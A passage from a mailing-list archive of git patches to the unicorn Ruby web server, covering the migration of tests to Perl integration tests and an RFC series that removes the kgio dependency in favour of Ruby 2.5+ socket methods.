-chomp($pid = slurp("$tmpdir/pid"));
+chomp($daemon_pid = slurp($pid_file));
my ($status, $hdr, $bdy) = do_req($u_sock, 'GET / HTTP/1.0');
is($bdy, "1\n", 'got expected $master_ppid');
-$stop_daemon->();
+stop_daemon;
check_stderr;
if ('test without CLI switches in config.ru') {
@@ -65,12 +44,12 @@ if ('test without CLI switches in config.ru') {
close $fh;
unicorn('-D', '-l', $u_sock, '-c', $u_conf)->join; # will daemonize
- chomp($pid = slurp("$tmpdir/pid"));
+ chomp($daemon_pid = slurp($pid_file));
($status, $hdr, $bdy) = do_req($u_sock, 'GET / HTTP/1.0');
is($bdy, "1\n", 'got expected $master_ppid');
- $stop_daemon->();
+ stop_daemon;
check_stderr;
}
[-- Attachment #9: 0008-tests-use-Time-HiRes-sleep-and-time-everywhere.patch --]
[-- Type: text/x-diff, Size: 4106 bytes --]
From dd9f2efeebf20cfa1def0ce92cb4e35a8b5c1580 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Sun, 10 Sep 2023 09:35:09 +0000
Subject: [PATCH 08/11] tests: use Time::HiRes `sleep' and `time' everywhere
The time(2) syscall use by CORE::time is inaccurate[1].
It's also easier to read `sleep 0.01' rather than the
longer `select' equivalent.
[1] a6463151bd1db5b9 (httpdate: favor gettimeofday(2) over time(2) for correctness, 2023-06-01)
---
t/active-unix-socket.t | 2 +-
t/integration.t | 5 +++--
t/lib.perl | 4 ++--
t/reload-bad-config.t | 2 +-
t/reopen-logs.t | 4 ++--
t/winch_ttin.t | 4 +---
6 files changed, 10 insertions(+), 11 deletions(-)
diff --git a/t/active-unix-socket.t b/t/active-unix-socket.t
index 32cb0c2e..ff731b5f 100644
--- a/t/active-unix-socket.t
+++ b/t/active-unix-socket.t
@@ -86,7 +86,7 @@ is($pidf, $to_kill{u1}, 'pid file contents unchanged after 2nd start failure');
'fail to connect to u1');
for (1..50) { # wait for init process to reap worker
kill(0, $worker_pid) or last;
- select(undef, undef, undef, 0.011);
+ sleep 0.011;
}
ok(!kill(0, $worker_pid), 'worker gone after parent dies');
}
diff --git a/t/integration.t b/t/integration.t
index eb40ffc7..80485e44 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -77,8 +77,9 @@ SKIP: { # Date header check
eval { require HTTP::Date } or skip "HTTP::Date missing: $@", 1;
$d[0] =~ s/^Date: //i or die 'BUG: did not strip date: prefix';
my $t = HTTP::Date::str2time($d[0]);
- ok($t >= $t0 && $t > 0 && $t <= time, 'valid date') or
- diag(explain([$t, $!, \@d]));
+ my $now = time;
+ ok($t >= ($t0 - 1) && $t > 0 && $t <= ($now + 1), 'valid date') or
+ diag(explain(["t=$t t0=$t0 now=$now", $!, \@d]));
};
diff --git a/t/lib.perl b/t/lib.perl
index 244972bc..9254b23b 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -6,7 +6,7 @@ use v5.14;
use parent qw(Exporter);
use autodie;
use Test::More;
-use Time::HiRes qw(sleep);
+use Time::HiRes qw(sleep time);
use IO::Socket::INET;
use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
@@ -15,7 +15,7 @@ our ($tmpdir, $errfh, $err_log, $u_sock, $u_conf, $daemon_pid,
our @EXPORT = qw(unicorn slurp tcp_server tcp_start unicorn
$tmpdir $errfh $err_log $u_sock $u_conf $daemon_pid $pid_file
SEEK_SET tcp_host_port which spawn check_stderr unix_start slurp_hdr
- do_req stop_daemon);
+ do_req stop_daemon sleep time);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
diff --git a/t/reload-bad-config.t b/t/reload-bad-config.t
index 543421da..c023b88c 100644
--- a/t/reload-bad-config.t
+++ b/t/reload-bad-config.t
@@ -38,7 +38,7 @@ my @l;
for (1..1000) {
@l = grep(/(?:done|error) reloading/, slurp($err_log)) and
last;
- select undef, undef, undef, 0.011;
+ sleep 0.011;
}
diag slurp($err_log) if $ENV{V};
ok(grep(/error reloading/, @l), 'got error reloading');
diff --git a/t/reopen-logs.t b/t/reopen-logs.t
index 8a58c1b9..76a4dbdf 100644
--- a/t/reopen-logs.t
+++ b/t/reopen-logs.t
@@ -23,8 +23,8 @@ rename($out_log, "$out_log.rot");
$auto_reap->do_kill('USR1');
my $tries = 1000;
-while (!-f $err_log && --$tries) { select undef, undef, undef, 0.01 };
-while (!-f $out_log && --$tries) { select undef, undef, undef, 0.01 };
+while (!-f $err_log && --$tries) { sleep 0.01 };
+while (!-f $out_log && --$tries) { sleep 0.01 };
ok(-f $out_log, 'stdout_path recreated after USR1');
ok(-f $err_log, 'stderr_path recreated after USR1');
diff --git a/t/winch_ttin.t b/t/winch_ttin.t
index 509b118f..c5079599 100644
--- a/t/winch_ttin.t
+++ b/t/winch_ttin.t
@@ -43,9 +43,7 @@ ok(kill(0, $worker_pid), 'worker_pid is valid');
ok(kill('WINCH', $pid), 'SIGWINCH can be sent');
my $tries = 1000;
-while (CORE::kill(0, $worker_pid) && --$tries) {
- select undef, undef, undef, 0.01;
-}
+while (CORE::kill(0, $worker_pid) && --$tries) { sleep 0.01 }
ok(!CORE::kill(0, $worker_pid), 'worker not running');
ok(kill('TTIN', $pid), 'SIGTTIN to restart worker');
[-- Attachment #10: 0009-tests-fold-SO_KEEPALIVE-check-to-Perl-5-integration.patch --]
[-- Type: text/x-diff, Size: 2675 bytes --]
From b588ccbbf73547487f54fd1a9d5396d6848e8661 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Sun, 10 Sep 2023 19:21:05 +0000
Subject: [PATCH 09/11] tests: fold SO_KEEPALIVE check to Perl 5 integration
No need to startup more processes than necessary.
---
t/integration.t | 13 +++++++++++++
test/exec/test_exec.rb | 23 +----------------------
2 files changed, 14 insertions(+), 22 deletions(-)
diff --git a/t/integration.t b/t/integration.t
index 80485e44..bea221ce 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -7,8 +7,16 @@
use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
+use Socket qw(SOL_SOCKET SO_KEEPALIVE);
our $srv = tcp_server();
our $host_port = tcp_host_port($srv);
+
+if ('ensure Perl does not set SO_KEEPALIVE by default') {
+ my $val = getsockopt($srv, SOL_SOCKET, SO_KEEPALIVE);
+ unpack('i', $val) == 0 or
+ setsockopt($srv, SOL_SOCKET, SO_KEEPALIVE, pack('i', 0));
+ $val = getsockopt($srv, SOL_SOCKET, SO_KEEPALIVE);
+}
my $t0 = time;
open my $conf_fh, '>', $u_conf;
$conf_fh->autoflush(1);
@@ -71,6 +79,11 @@ is_deeply([ grep(/^X-R2: /, @$hdr) ],
[ 'X-R2: a', 'X-R2: b', 'X-R2: c' ],
'rack 2 LF-delimited headers supported') or diag(explain($hdr));
+{
+ my $val = getsockopt($srv, SOL_SOCKET, SO_KEEPALIVE);
+ is(unpack('i', $val), 1, 'SO_KEEPALIVE set on inherited socket');
+}
+
SKIP: { # Date header check
my @d = grep(/^Date: /i, @$hdr);
is(scalar(@d), 1, 'got one date header') or diag(explain(\@d));
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index 55f828e7..84944520 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -1,6 +1,5 @@
# -*- encoding: binary -*-
-
-# Copyright (c) 2009 Eric Wong
+# Don't add to this file, new tests are in Perl 5. See t/README
FLOCK_PATH = File.expand_path(__FILE__)
require './test/test_helper'
@@ -97,26 +96,6 @@ def teardown
end
end
- def test_inherit_listener_unspecified
- File.open("config.ru", "wb") { |fp| fp.write(HI) }
- sock = TCPServer.new(@addr, @port)
- sock.setsockopt(:SOL_SOCKET, :SO_KEEPALIVE, 0)
-
- pid = xfork do
- redirect_test_io do
- ENV['UNICORN_FD'] = sock.fileno.to_s
- exec($unicorn_bin, sock.fileno => sock.fileno)
- end
- end
- res = hit(["http://#@addr:#@port/"])
- assert_equal [ "HI\n" ], res
- assert_shutdown(pid)
- assert sock.getsockopt(:SOL_SOCKET, :SO_KEEPALIVE).bool,
- 'unicorn should always set SO_KEEPALIVE on inherited sockets'
- ensure
- sock.close if sock
- end
-
def test_working_directory_rel_path_config_file
other = Tempfile.new('unicorn.wd')
File.unlink(other.path)
[-- Attachment #11: 0010-tests-move-broken-app-test-to-Perl-5-integration-tes.patch --]
[-- Type: text/x-diff, Size: 2376 bytes --]
From 7160f1b519aece0fe645d22a7d8fb954a43ad6fb Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Sun, 10 Sep 2023 19:37:32 +0000
Subject: [PATCH 10/11] tests: move broken app test to Perl 5 integration test
Less Ruby means fewer incompatibilities to worry about with
every new version.
---
t/integration.ru | 1 +
t/integration.t | 6 ++++++
test/unit/test_server.rb | 14 --------------
3 files changed, 7 insertions(+), 14 deletions(-)
diff --git a/t/integration.ru b/t/integration.ru
index 086126ab..888833a9 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -98,6 +98,7 @@ def rack_input_tests(env)
when '/pid'; [ 200, {}, [ "#$$\n" ] ]
when '/early_hints_rack2'; early_hints(env, "r\n2")
when '/early_hints_rack3'; early_hints(env, %w(r 3))
+ when '/broken_app'; raise RuntimeError, 'hello'
else '/'; [ 200, {}, [ env_dump(env) ] ]
end # case PATH_INFO (GET)
when 'POST'
diff --git a/t/integration.t b/t/integration.t
index bea221ce..ba17dd9e 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -118,6 +118,12 @@ SKIP: {
is_deeply([grep(/^X-Nil:/, @$hdr)], ['X-Nil: '],
'nil header value accepted for broken apps') or diag(explain($hdr));
+check_stderr;
+($status, $hdr, $bdy) = do_req($srv, 'GET /broken_app HTTP/1.0');
+like($status, qr!\AHTTP/1\.[0-1] 500\b!, 'got 500 error on broken endpoint');
+is($bdy, undef, 'no response body after exception');
+truncate($errfh, 0);
+
my $ck_early_hints = sub {
my ($note) = @_;
$c = unix_start($u1, 'GET /early_hints_rack2 HTTP/1.0');
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index 0a710d12..2af12eac 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -127,20 +127,6 @@ def test_after_reply
sock.close
end
- def test_broken_app
- teardown
- app = lambda { |env| raise RuntimeError, "hello" }
- # [200, {}, []] }
- redirect_test_io do
- @server = HttpServer.new(app, :listeners => [ "127.0.0.1:#@port"] )
- @server.start
- end
- sock = tcp_socket('127.0.0.1', @port)
- sock.syswrite("GET / HTTP/1.0\r\n\r\n")
- assert_match %r{\AHTTP/1.[01] 500\b}, sock.sysread(4096)
- assert_nil sock.close
- end
-
def test_simple_server
results = hit(["http://localhost:#{@port}/test"])
assert_equal 'hello!\n', results[0], "Handler didn't really run"
[-- Attachment #12: 0011-tests-fold-early-shutdown-tests-into-t-integration.t.patch --]
[-- Type: text/x-diff, Size: 4527 bytes --]
From 05028146b5e69c566663fdab9f8b92c6145a791a Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Sun, 10 Sep 2023 19:52:03 +0000
Subject: [PATCH 11/11] tests: fold early shutdown() tests into t/integration.t
This means fewer redundant tests and more chances to notice
Ruby incompatibilities.
---
t/integration.t | 22 +++++++++++++++--
test/unit/test_server.rb | 53 ----------------------------------------
2 files changed, 20 insertions(+), 55 deletions(-)
diff --git a/t/integration.t b/t/integration.t
index ba17dd9e..7310ff29 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -7,7 +7,7 @@
use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
-use Socket qw(SOL_SOCKET SO_KEEPALIVE);
+use Socket qw(SOL_SOCKET SO_KEEPALIVE SHUT_WR);
our $srv = tcp_server();
our $host_port = tcp_host_port($srv);
@@ -209,6 +209,7 @@ SKIP: {
defined($opt{overwrite}) and
print { $c } ('x' x $opt{overwrite});
$c->flush or die $!;
+ shutdown($c, SHUT_WR);
($status, $hdr) = slurp_hdr($c);
is(readline($c), $blob_hash, "$sub $path");
};
@@ -225,6 +226,8 @@ SKIP: {
# ensure small overwrites don't get checksummed
$ck_hash->('identity', '/rack_input', -s => $blob_size,
overwrite => 1); # one extra byte
+ unlike(slurp($err_log), qr/ClientShutdown/,
+ 'no overreads after client SHUT_WR');
# excessive overwrite truncated
$c = tcp_start($srv);
@@ -238,8 +241,23 @@ SKIP: {
$! = 0;
while (print $c $buf and time < $end) { ++$n }
ok($!, 'overwrite truncated') or diag "n=$n err=$! ".time;
+ undef $c;
+ }
+
+ # client shutdown early
+ $c = tcp_start($srv);
+ $c->autoflush(0);
+ print $c "PUT /rack_input HTTP/1.0\r\nContent-Length: 16384\r\n\r\n";
+ if (1) {
+ local $SIG{PIPE} = 'IGNORE';
+ print $c 'too short body';
+ shutdown($c, SHUT_WR);
+ vec(my $rvec = '', fileno($c), 1) = 1;
+ select($rvec, undef, undef, 10) or BAIL_OUT "timed out";
+ my $buf = <$c>;
+ is($buf, undef, 'server aborted after client SHUT_WR');
+ undef $c;
}
- undef $c;
$curl // skip 'no curl found in PATH', 1;
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index 2af12eac..7ffa48f0 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -132,59 +132,6 @@ def test_simple_server
assert_equal 'hello!\n', results[0], "Handler didn't really run"
end
- def test_client_shutdown_writes
- bs = 15609315 * rand
- sock = tcp_socket('127.0.0.1', @port)
- sock.syswrite("PUT /hello HTTP/1.1\r\n")
- sock.syswrite("Host: example.com\r\n")
- sock.syswrite("Transfer-Encoding: chunked\r\n")
- sock.syswrite("Trailer: X-Foo\r\n")
- sock.syswrite("\r\n")
- sock.syswrite("%x\r\n" % [ bs ])
- sock.syswrite("F" * bs)
- sock.syswrite("\r\n0\r\nX-")
- "Foo: bar\r\n\r\n".each_byte do |x|
- sock.syswrite x.chr
- sleep 0.05
- end
- # we wrote the entire request before shutting down, server should
- # continue to process our request and never hit EOFError on our sock
- sock.shutdown(Socket::SHUT_WR)
- buf = sock.read
- assert_match %r{\bhello!\\n\b}, buf.split(/\r\n\r\n/, 2).last
- next_client = Net::HTTP.get(URI.parse("http://127.0.0.1:#@port/"))
- assert_equal 'hello!\n', next_client
- lines = File.readlines("test_stderr.#$$.log")
- assert lines.grep(/^Unicorn::ClientShutdown: /).empty?
- assert_nil sock.close
- end
-
- def test_client_shutdown_write_truncates
- bs = 15609315 * rand
- sock = tcp_socket('127.0.0.1', @port)
- sock.syswrite("PUT /hello HTTP/1.1\r\n")
- sock.syswrite("Host: example.com\r\n")
- sock.syswrite("Transfer-Encoding: chunked\r\n")
- sock.syswrite("Trailer: X-Foo\r\n")
- sock.syswrite("\r\n")
- sock.syswrite("%x\r\n" % [ bs ])
- sock.syswrite("F" * (bs / 2.0))
-
- # shutdown prematurely, this will force the server to abort
- # processing on us even during app dispatch
- sock.shutdown(Socket::SHUT_WR)
- IO.select([sock], nil, nil, 60) or raise "Timed out"
- buf = sock.read
- assert_equal "", buf
- next_client = Net::HTTP.get(URI.parse("http://127.0.0.1:#@port/"))
- assert_equal 'hello!\n', next_client
- lines = File.readlines("test_stderr.#$$.log")
- lines = lines.grep(/^Unicorn::ClientShutdown: bytes_read=\d+/)
- assert_equal 1, lines.size
- assert_match %r{\AUnicorn::ClientShutdown: bytes_read=\d+ true$}, lines[0]
- assert_nil sock.close
- end
-
def test_client_malformed_body
bs = 15653984
sock = tcp_socket('127.0.0.1', @port)
^ permalink raw reply related [relevance 1%]
* [RFC 0-3/3] depend on Ruby 2.5+, eliminate kgio
@ 2023-09-05 9:44 4% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2023-09-05 9:44 UTC (permalink / raw)
To: unicorn-public
[-- Attachment #1: Type: text/plain, Size: 1658 bytes --]
Explanation (and bulk of the work is in patch 2/3).
I wrote patch 1/3 over 4 years ago since it was simple and
didn't rely on "newer" Ruby 2.3 features. Patch 2/3 completes
the change and actually depends on 2.5+; while patch 3/3 updates
the gemspec, docs and dependencies for Ruby 2.5+.
I haven't actually used Ruby 2.5 in a while, but I'm still on
Ruby 2.7 since that's what I have in Debian bullseye
(oldstable).
Patch 2/3 could use an extra set of eyes since it's fairly big,
but passes all tests.
Note: I can't benchmark anything since I have limited (shared)
hardware
Eric Wong (3):
remove kgio from all read(2) and write(2) wrappers
kill off remaining kgio uses
update dependency to Ruby 2.5+
HACKING | 2 +-
README | 2 +-
lib/unicorn.rb | 3 +-
lib/unicorn/http_request.rb | 18 ++++-----
lib/unicorn/http_server.rb | 38 +++++++----------
lib/unicorn/oob_gc.rb | 4 +-
lib/unicorn/socket_helper.rb | 50 +++--------------------
lib/unicorn/stream_input.rb | 20 +++++----
lib/unicorn/worker.rb | 10 ++---
lib/unicorn/write_splat.rb | 7 ----
t/README | 2 +-
t/oob_gc.ru | 3 --
t/oob_gc_path.ru | 3 --
test/unit/test_request.rb | 47 ++++++++-------------
test/unit/test_socket_helper.rb | 72 +++++++--------------------------
test/unit/test_stream_input.rb | 2 +-
test/unit/test_tee_input.rb | 2 +-
unicorn.gemspec | 5 +--
18 files changed, 87 insertions(+), 203 deletions(-)
delete mode 100644 lib/unicorn/write_splat.rb
[-- Attachment #2: 0001-remove-kgio-from-all-read-2-and-write-2-wrappers.patch --]
[-- Type: text/x-diff, Size: 5330 bytes --]
From 36ba7f971c571031101c0b718724bdcb06dd7e03 Mon Sep 17 00:00:00 2001
From: Eric Wong <e@80x24.org>
Date: Sun, 26 May 2019 22:15:44 +0000
Subject: [RFC 1/3] remove kgio from all read(2) and write(2) wrappers
It's fairly easy given unicorn was designed with synchronous I/O
in mind. The overhead of backtraces from EOFError on
readpartial should be rare given our requirement to only accept
requests from fast, reliable clients on LAN (e.g. nginx or
yet-another-horribly-named-server).
---
lib/unicorn/http_request.rb | 4 ++--
lib/unicorn/http_server.rb | 8 +++++---
lib/unicorn/stream_input.rb | 20 ++++++++++++--------
lib/unicorn/worker.rb | 4 ++--
4 files changed, 21 insertions(+), 15 deletions(-)
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index e3ad592..8bca60a 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -74,11 +74,11 @@ def read(socket)
e['REMOTE_ADDR'] = socket.kgio_addr
# short circuit the common case with small GET requests first
- socket.kgio_read!(16384, buf)
+ socket.readpartial(16384, buf)
if parse.nil?
# Parser is not done, queue up more data to read and continue parsing
# an Exception thrown from the parser will throw us out of the loop
- false until add_parse(socket.kgio_read!(16384))
+ false until add_parse(socket.readpartial(16384))
end
check_client_connection(socket) if @@check_client_connection
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index f1b4a54..2f1eb1b 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -389,12 +389,13 @@ def master_sleep(sec)
# the Ruby itself and not require a separate malloc (on 32-bit MRI 1.9+).
# Most reads are only one byte here and uncommon, so it's not worth a
# persistent buffer, either:
- @self_pipe[0].kgio_tryread(11)
+ @self_pipe[0].read_nonblock(11, exception: false)
end
def awaken_master
return if $$ != @master_pid
- @self_pipe[1].kgio_trywrite('.') # wakeup master process from select
+ # wakeup master process from select
+ @self_pipe[1].write_nonblock('.', exception: false)
end
# reaps all unreaped workers
@@ -565,7 +566,8 @@ def handle_error(client, e)
500
end
if code
- client.kgio_trywrite(err_response(code, @request.response_start_sent))
+ code = err_response(code, @request.response_start_sent)
+ client.write_nonblock(code, exception: false)
end
client.close
rescue
diff --git a/lib/unicorn/stream_input.rb b/lib/unicorn/stream_input.rb
index 41d28a0..9246f73 100644
--- a/lib/unicorn/stream_input.rb
+++ b/lib/unicorn/stream_input.rb
@@ -49,8 +49,7 @@ def read(length = nil, rv = '')
to_read = length - @rbuf.size
rv.replace(@rbuf.slice!(0, @rbuf.size))
until to_read == 0 || eof? || (rv.size > 0 && @chunked)
- @socket.kgio_read(to_read, @buf) or eof!
- filter_body(@rbuf, @buf)
+ filter_body(@rbuf, @socket.readpartial(to_read, @buf))
rv << @rbuf
to_read -= @rbuf.size
end
@@ -61,6 +60,8 @@ def read(length = nil, rv = '')
read_all(rv)
end
rv
+ rescue EOFError
+ return eof!
end
# :call-seq:
@@ -83,9 +84,10 @@ def gets
begin
@rbuf.sub!(re, '') and return $1
return @rbuf.empty? ? nil : @rbuf.slice!(0, @rbuf.size) if eof?
- @socket.kgio_read(@@io_chunk_size, @buf) or eof!
- filter_body(once = '', @buf)
+ filter_body(once = '', @socket.readpartial(@@io_chunk_size, @buf))
@rbuf << once
+ rescue EOFError
+ return eof!
end while true
end
@@ -107,14 +109,15 @@ def each
def eof?
if @parser.body_eof?
while @chunked && ! @parser.parse
- once = @socket.kgio_read(@@io_chunk_size) or eof!
- @buf << once
+ @buf << @socket.readpartial(@@io_chunk_size)
end
@socket = nil
true
else
false
end
+ rescue EOFError
+ return eof!
end
def filter_body(dst, src)
@@ -127,10 +130,11 @@ def read_all(dst)
dst.replace(@rbuf)
@socket or return
until eof?
- @socket.kgio_read(@@io_chunk_size, @buf) or eof!
- filter_body(@rbuf, @buf)
+ filter_body(@rbuf, @socket.readpartial(@@io_chunk_size, @buf))
dst << @rbuf
end
+ rescue EOFError
+ return eof!
ensure
@rbuf.clear
end
diff --git a/lib/unicorn/worker.rb b/lib/unicorn/worker.rb
index 5ddf379..ad5814c 100644
--- a/lib/unicorn/worker.rb
+++ b/lib/unicorn/worker.rb
@@ -65,7 +65,7 @@ def soft_kill(sig) # :nodoc:
end
# writing and reading 4 bytes on a pipe is atomic on all POSIX platforms
# Do not care in the odd case the buffer is full, here.
- @master.kgio_trywrite([signum].pack('l'))
+ @master.write_nonblock([signum].pack('l'), exception: false)
rescue Errno::EPIPE
# worker will be reaped soon
end
@@ -73,7 +73,7 @@ def soft_kill(sig) # :nodoc:
# this only runs when the Rack app.call is not running
# act like a listener
def kgio_tryaccept # :nodoc:
- case buf = @to_io.kgio_tryread(4)
+ case buf = @to_io.read_nonblock(4, exception: false)
when String
# unpack the buffer and trigger the signal handler
signum = buf.unpack('l')
[-- Attachment #3: 0002-kill-off-remaining-kgio-uses.patch --]
[-- Type: text/x-diff, Size: 25476 bytes --]
From 03ec6e69fc6219a40aa8db368abe53017cd164e3 Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Tue, 5 Sep 2023 06:43:20 +0000
Subject: [RFC 2/3] kill off remaining kgio uses
kgio is an extra download and shared object which costs users
bandwidth, disk space, startup time and memory. Ruby 2.3+
provides `Socket#accept_nonblock(exception: false)' support
in addition to `exception: false' support in IO#*_nonblock
methods from Ruby 2.1.
We no longer distinguish between TCPServer and UNIXServer as
separate classes internally; instead favoring the `Socket' class
of Ruby for both. This allows us to use `Socket#accept_nonblock'
and get a populated `Addrinfo' object off accept4(2)/accept(2)
without resorting to a getpeername(2) syscall (kgio avoided
getpeername(2) in the same way).
The downside is there's more Ruby-level argument passing and
stack usage on our end with HttpRequest#read_headers (formerly
HttpRequest#read). I chose this tradeoff since advancements in
Ruby itself can theoretically mitigate the cost of argument
passing, while syscalls are a high fixed cost given modern CPU
vulnerability mitigations.
Note: no benchmarks have been run since I don't have a suitable
system.
---
lib/unicorn.rb | 3 +-
lib/unicorn/http_request.rb | 14 +++----
lib/unicorn/http_server.rb | 30 +++++---------
lib/unicorn/oob_gc.rb | 4 +-
lib/unicorn/socket_helper.rb | 50 +++--------------------
lib/unicorn/worker.rb | 6 +--
t/oob_gc.ru | 3 --
t/oob_gc_path.ru | 3 --
test/unit/test_request.rb | 47 ++++++++-------------
test/unit/test_socket_helper.rb | 72 +++++++--------------------------
test/unit/test_stream_input.rb | 2 +-
test/unit/test_tee_input.rb | 2 +-
unicorn.gemspec | 1 -
13 files changed, 61 insertions(+), 176 deletions(-)
diff --git a/lib/unicorn.rb b/lib/unicorn.rb
index b817b77..564cb30 100644
--- a/lib/unicorn.rb
+++ b/lib/unicorn.rb
@@ -1,7 +1,6 @@
# -*- encoding: binary -*-
require 'etc'
require 'stringio'
-require 'kgio'
require 'raindrops'
require 'io/wait'
@@ -112,7 +111,7 @@ def self.log_error(logger, prefix, exc)
F_SETPIPE_SZ = 1031 if RUBY_PLATFORM =~ /linux/
def self.pipe # :nodoc:
- Kgio::Pipe.new.each do |io|
+ IO.pipe.each do |io|
# shrink pipes to minimize impact on /proc/sys/fs/pipe-user-pages-soft
# limits.
if defined?(F_SETPIPE_SZ)
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index 8bca60a..ab3bd6e 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -61,7 +61,7 @@ def self.check_client_connection=(bool)
# returns an environment hash suitable for Rack if successful
# This does minimal exception trapping and it is up to the caller
# to handle any socket errors (e.g. user aborted upload).
- def read(socket)
+ def read_headers(socket, ai)
e = env
# From https://www.ietf.org/rfc/rfc3875:
@@ -71,7 +71,7 @@ def read(socket)
# identify the client for the immediate request to the server;
# that client may be a proxy, gateway, or other intermediary
# acting on behalf of the actual source client."
- e['REMOTE_ADDR'] = socket.kgio_addr
+ e['REMOTE_ADDR'] = ai.unix? ? '127.0.0.1' : ai.ip_address
# short circuit the common case with small GET requests first
socket.readpartial(16384, buf)
@@ -81,7 +81,7 @@ def read(socket)
false until add_parse(socket.readpartial(16384))
end
- check_client_connection(socket) if @@check_client_connection
+ check_client_connection(socket, ai) if @@check_client_connection
e['rack.input'] = 0 == content_length ?
NULL_IO : @@input_class.new(socket, self)
@@ -107,8 +107,8 @@ def hijacked?
if Raindrops.const_defined?(:TCP_Info)
TCPI = Raindrops::TCP_Info.allocate
- def check_client_connection(socket) # :nodoc:
- if Unicorn::TCPClient === socket
+ def check_client_connection(socket, ai) # :nodoc:
+ if ai.ip?
# Raindrops::TCP_Info#get!, #state (reads struct tcp_info#tcpi_state)
raise Errno::EPIPE, "client closed connection".freeze,
EMPTY_ARRAY if closed_state?(TCPI.get!(socket).state)
@@ -152,8 +152,8 @@ def closed_state?(state) # :nodoc:
# Ruby 2.2+ can show struct tcp_info as a string Socket::Option#inspect.
# Not that efficient, but probably still better than doing unnecessary
# work after a client gives up.
- def check_client_connection(socket) # :nodoc:
- if Unicorn::TCPClient === socket && @@tcpi_inspect_ok
+ def check_client_connection(socket, ai) # :nodoc:
+ if @@tcpi_inspect_ok && ai.ip?
opt = socket.getsockopt(Socket::IPPROTO_TCP, Socket::TCP_INFO).inspect
if opt =~ /\bstate=(\S+)/
raise Errno::EPIPE, "client closed connection".freeze,
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 2f1eb1b..ed5bbf1 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -111,9 +111,7 @@ def initialize(app, options = {})
@worker_data = if worker_data = ENV['UNICORN_WORKER']
worker_data = worker_data.split(',').map!(&:to_i)
- worker_data[1] = worker_data.slice!(1..2).map do |i|
- Kgio::Pipe.for_fd(i)
- end
+ worker_data[1] = worker_data.slice!(1..2).map { |i| IO.for_fd(i) }
worker_data
end
end
@@ -243,10 +241,6 @@ def listen(address, opt = {}.merge(listener_opts[address] || {}))
tries = opt[:tries] || 5
begin
io = bind_listen(address, opt)
- unless Kgio::TCPServer === io || Kgio::UNIXServer === io
- io.autoclose = false
- io = server_cast(io)
- end
logger.info "listening on addr=#{sock_name(io)} fd=#{io.fileno}"
LISTENERS << io
io
@@ -594,9 +588,9 @@ def e100_response_write(client, env)
# once a client is accepted, it is processed in its entirety here
# in 3 easy steps: read request, call app, write app response
- def process_client(client)
+ def process_client(client, ai)
@request = Unicorn::HttpRequest.new
- env = @request.read(client)
+ env = @request.read_headers(client, ai)
if early_hints
env["rack.early_hints"] = lambda do |headers|
@@ -708,10 +702,9 @@ def worker_loop(worker)
reopen = reopen_worker_logs(worker.nr) if reopen
worker.tick = time_now.to_i
while sock = ready.shift
- # Unicorn::Worker#kgio_tryaccept is not like accept(2) at all,
- # but that will return false
- if client = sock.kgio_tryaccept
- process_client(client)
+ client_ai = sock.accept_nonblock(exception: false)
+ if client_ai != :wait_readable
+ process_client(*client_ai)
worker.tick = time_now.to_i
end
break if reopen
@@ -809,7 +802,6 @@ def redirect_io(io, path)
def inherit_listeners!
# inherit sockets from parents, they need to be plain Socket objects
- # before they become Kgio::UNIXServer or Kgio::TCPServer
inherited = ENV['UNICORN_FD'].to_s.split(',')
immortal = []
@@ -825,8 +817,6 @@ def inherit_listeners!
inherited.map! do |fd|
io = Socket.for_fd(fd.to_i)
@immortal << io if immortal.include?(fd)
- io.autoclose = false
- io = server_cast(io)
set_server_sockopt(io, listener_opts[sock_name(io)])
logger.info "inherited addr=#{sock_name(io)} fd=#{io.fileno}"
io
@@ -835,11 +825,9 @@ def inherit_listeners!
config_listeners = config[:listeners].dup
LISTENERS.replace(inherited)
- # we start out with generic Socket objects that get cast to either
- # Kgio::TCPServer or Kgio::UNIXServer objects; but since the Socket
- # objects share the same OS-level file descriptor as the higher-level
- # *Server objects; we need to prevent Socket objects from being
- # garbage-collected
+ # we only use generic Socket objects for aggregate Socket#accept_nonblock
+ # return value [ Socket, Addrinfo ]. This allows us to avoid having to
+ # make getpeername(2) syscalls later on to fill in env['REMOTE_ADDR']
config_listeners -= listener_names
if config_listeners.empty? && LISTENERS.empty?
config_listeners << Unicorn::Const::DEFAULT_LISTEN
diff --git a/lib/unicorn/oob_gc.rb b/lib/unicorn/oob_gc.rb
index 91a8e51..db9f2cb 100644
--- a/lib/unicorn/oob_gc.rb
